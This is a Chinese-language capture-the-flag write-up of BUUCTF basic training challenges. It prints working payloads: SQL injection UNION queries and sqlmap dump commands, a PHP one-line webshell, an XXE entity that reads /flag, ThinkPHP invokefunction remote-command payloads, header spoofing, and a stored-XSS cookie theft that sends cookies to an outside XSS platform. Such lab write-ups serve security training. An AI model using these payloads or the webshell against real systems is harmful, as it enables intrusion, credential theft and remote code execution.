BUUCTF - Basic

文章目录

    • [1. Linux Labs 【SSH连接漏洞】](#1. Linux Labs 【SSH连接漏洞】)
    • [2. BUU LFI COURSE【文件包含漏洞】](#2. BUU LFI COURSE【文件包含漏洞】)
    • [3. BUU BRUTE【暴力破解用户名密码】](#3. BUU BRUTE【暴力破解用户名密码】)
    • [4. BUU SQL COURSE【SQL注入-当前数据库】](#4. BUU SQL COURSE【SQL注入-当前数据库】)
    • [5. Upload-Labs-Linux 1【文件上传漏洞】](#5. Upload-Labs-Linux 1【文件上传漏洞】)
    • [7. Buu Upload Course 1【文件上传+包含漏洞】](#7. Buu Upload Course 1【文件上传+包含漏洞】)
    • [8. sqli-labs 1【SQL注入-服务器上的其他数据库】](#8. sqli-labs 1【SQL注入-服务器上的其他数据库】)
    • [9. BUU BURP COURSE 1【IP伪造漏洞】](#9. BUU BURP COURSE 1【IP伪造漏洞】)
    • [10. BUU XXE COURSE 1 【XXE漏洞】](#10. BUU XXE COURSE 1 【XXE漏洞】)
    • [11 LFI labs【文件包含漏洞】](#11 LFI labs【文件包含漏洞】)
    • [12 BUU XSS COURSE 1【XSS漏洞-窃取cookie】](#12 BUU XSS COURSE 1【XSS漏洞-窃取cookie】)
    • [13 AWD Test 1【ThinkPHP框架漏洞】](#13 AWD Test 1【ThinkPHP框架漏洞】)
    • [15 AWD Test2 【SQL注入-万能密码】](#15 AWD Test2 【SQL注入-万能密码】)
    • [16 BUU SQL COURSE 2【SQL注入-sqlmap使用】](#16 BUU SQL COURSE 2【SQL注入-sqlmap使用】)
    • [17 [Windows]Upload-Labs-Windows【文件上传漏洞-基础】](#17 [Windows]Upload-Labs-Windows【文件上传漏洞-基础】)
    • [18 XSS labs【XSS-基础】](#18 XSS labs【XSS-基础】)

1. Linux Labs 【SSH连接漏洞】

题目给出了ssh连接的用户名密码,考察 ssh 连接主机,主机 IP 地址可以通过ping域名获得;端口要改成靶机的端口,不是默认的22。

连接远程主机后即可找到 flag 文件。

2. BUU LFI COURSE【文件包含漏洞】

题目是一段PHP代码,看出来存在文件包含漏洞,只要传入文件名,就会将文件内容展示出来。可以盲目猜一猜 flag 的文件名:

3. BUU BRUTE【暴力破解用户名密码】

一道爆破题,burpsuite 爆破用户名密码即可。注意下请求过快会报 429,可以尝试减小线程数,增加延时。

4. BUU SQL COURSE【SQL注入-当前数据库】

这是一道SQL注入的题,可以看到地址栏输入 1 2 3 可以得到不同的显示结果,尝试判断注入点:

1)输入下列语句发现第一个有结果第二个没结果,说明是数值型且可以注入;

bash 复制代码
and 1=1 
and 1=2 

2)输入下列语句查找数据库名称,如果字段数不对可以再多试试,得到数据库为 news

bash 复制代码
union select 1,database()--+

3)输入下列语句查找表名,得到两张表 amdin 和 contents:

bash 复制代码
union select 1,group_concat(table_name) from information_schema.tables where table_schema="news"

4)输入下列语句查找 admin 表中的字段名,得到 id,username,password:

bash 复制代码
union select 1,group_concat(column_name) from information_schema.columns where table_name="admin"

5)知道了表名和字段名就可以查找表中的数据了,这里我们要找登录用户,找到后登录即可拿到 flag:

bash 复制代码
union select username,password from admin

5. Upload-Labs-Linux 1【文件上传漏洞】

文件上传漏洞,上传一个php一句话木马文件,返回了文件的访问路径,再用蚁剑连接,即可在根目录找到flag。

7. Buu Upload Course 1【文件上传+包含漏洞】

  1. 这个也是文件上传漏洞,上传一个木马文件,发现无论上传什么都会被重命名为 jpg 文件:
bash 复制代码
<?php eval(@$_POST['cmd']); echo "hello"?>
  1. 本来这样是没啥办法的,但是我们访问这个木马文件,发现这个文件其实是被执行了,输出了 hello;

  2. 所以这个其实是一个文件包含漏洞!!!只有文件包含漏洞才能将我们的 jpg 文件当作代码执行,所以还是直接用蚁剑访问这个木马文件,即可连接找到 flag。

8. sqli-labs 1【SQL注入-服务器上的其他数据库】

按照第 4 题类似的方式注入,查找当前数据库 security,发现所有表里都没有 flag。查找当前服务器上其他数据库:

bash 复制代码
union+select+1,2,group_concat(schema_name)+from+information_schema.schemata--+

发现有个 ctftraining 数据库,查找该数据库下的表,果然找到了有个 flag表,该表里有个flag字段。但注意后续查找 flag 的值需要带上数据库名,否则还会在当前数据库中查找就查不到了:

bash 复制代码
union+select+1,2,flag+from+ctftraining.flag--+

9. BUU BURP COURSE 1【IP伪造漏洞】

访问地址发现说只能本地访问,使用 bp 拦截请求,添加以下header头:

bash 复制代码
X-Real-IP: 127.0.0.1
Content-Length: 0

然后出现一个登录页面:
拦截该登录请求,同样添加:X-Real-IP: 127.0.0.1

登录成功,返回 flag。

10. BUU XXE COURSE 1 【XXE漏洞】

XXE漏洞参考:https://zhuanlan.zhihu.com/p/689906749

随便输入一个用户名密码,发现请求参数是 XML 格式的,且返回输入的 admin 值:

可能存在 XXE 漏洞。

XML 外部实体注入(也称为 XXE)是一种 Web 安全漏洞,允许攻击者干扰应用程序对 XML 数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。

构造 XML 实体来读取 flag:

bash 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY a SYSTEM "file:///flag"> 
]>
<root>
    <username>&a;</username>
    <password>1</password>
</root>

这里可能需要猜测一下 flag 所处的位置。结果返回 flag:

11 LFI labs【文件包含漏洞】

文件包含漏洞:

看提示需要输入文件名,输入:/flag,返回 flag

12 BUU XSS COURSE 1【XSS漏洞-窃取cookie】

  1. XSS 漏洞。这是一个留言板,留言以后会返回留言保存的位置:
  2. 注入 XSS:<script>alert('flag')</script>,但是没有成功,查看返回结果,原来是被转义了:
  3. 尝试其他注入:<input onclick="alert('xss');">,可以注入成功。同样 img 标签也可以成功。
  4. 现在的问题在于如何通过这个漏洞获取flag,XSS一般都是用来窃取cookie的,我们使用免费的 XSS 平台,通过xss漏洞将cookie窃取发到这个免费的 xss 平台上。
  5. 登录免费的XSS平台 https://xssaq.com/,首先创建一个项目,勾选以下两项:
  6. 出来一些示例代码,选取 img 标签的代码,提交到输入框中:

  7. 由于本 XSS 漏洞为存储型漏洞,当有人访问我们提交的这个吐槽时,就会自动将其 cookie 发送到我们的 XSS 平台上。去项目内容看看,果然有一条 cookie 消息:
  8. 直接访问这个后台地址 backend/admin.php,发现显示未登录:

    拦截该请求,替换成管理员的 cookie,成功获取到了 flag:

13 AWD Test 1【ThinkPHP框架漏洞】

方式一:给出了ssh连接的用户名密码,通过 ssh 远程连接即可。

方式二:

  1. 启动靶机,是一个简陋的网页,随便点点,出现了以下页面:
  2. 说明网站使用的是 ThinkPHP框架,且知道了其版本号。去查查这个框架存在的漏洞,发现有远程代码执行漏洞:

    且可以查到漏洞的利用方法,即构造以下payload可获取php配置文件:?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
  3. 输入上述payload,果然返回了 php 配置信息:
  4. phpinfo 没啥有用的,构造以下 payload 还可以执行命令:

注意 id 就是我们要执行的命令行代码,这里我们 ls 查看根目录的文件:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20/

发现有个 flag 和 flag.txt:

  1. 查看该 flag.txt 提交后不对,查看 flag,flag 正确。

payload 为 ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag

15 AWD Test2 【SQL注入-万能密码】

  1. 给出了ssh连接的用户名密码,通过 ssh 远程连接即可。
  2. 如果使用网页登录,登录可尝试万能密码 admin' or 1#

16 BUU SQL COURSE 2【SQL注入-sqlmap使用】

  1. SQL 注入的题,看选择一条新闻标题会展示一条新闻,可以从此处着手
  2. 开始在地址栏里尝试注入了好多次都没成功,后来才发现不应该直接在地址栏注入。打开F12,发现点击新闻时会发送一个隐藏的url,这个才是真正的注入点:
  3. 按照之前的方式尝试注入,可以注入成功,不细讲。
  4. 这里介绍使用 sqlmap 的使用方式,通过sqlmap实现注入。
bash 复制代码
//获取所有数据库
python sqlmap.py -u URL --dbs
//获取当前数据库
python sqlmap.py -u URL --current-db
//获取表名(如果不指定数据库,将默认获取所有库的表名)
python sqlmap.py -u URL -D 数据库名 --tabls
//获取字段名
python sqlmap.py -u URL -D 数据库名 -T 表名 --columns
//获取值
sqlmap -u URL -D 数据库名 -T 表名 -C 字段1,字段2,... --dump

依次爆出数据库名、表名、字段名,获取值即可:python sqlmap.py -u http://c9f858c4-097b-4614-afc0-6dfb99111e10.node5.buuoj.cn:81/backend/content_detail.php?id=1 -D ctftraining -T flag -C flag --dump

17 [Windows]Upload-Labs-Windows【文件上传漏洞-基础】

文件上传漏洞,前端校验图片类型,burpsuite 改文件后缀即可绕过,成功上传一句话木马并且返回了文件路径。但是用蚁剑连接时报错不知道啥问题。

18 XSS labs【XSS-基础】

一直让做 xss-labs 的题,攻破到第八关还没得到flag,不想做了。

相关推荐
用户962377954481 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机1 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机1 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954481 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star1 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954482 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher3 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行6 天前
网络安全总结
安全·web安全
red1giant_star6 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全
ZeroNews内网穿透6 天前
谷歌封杀OpenClaw背后:本地部署或是出路
运维·服务器·数据库·安全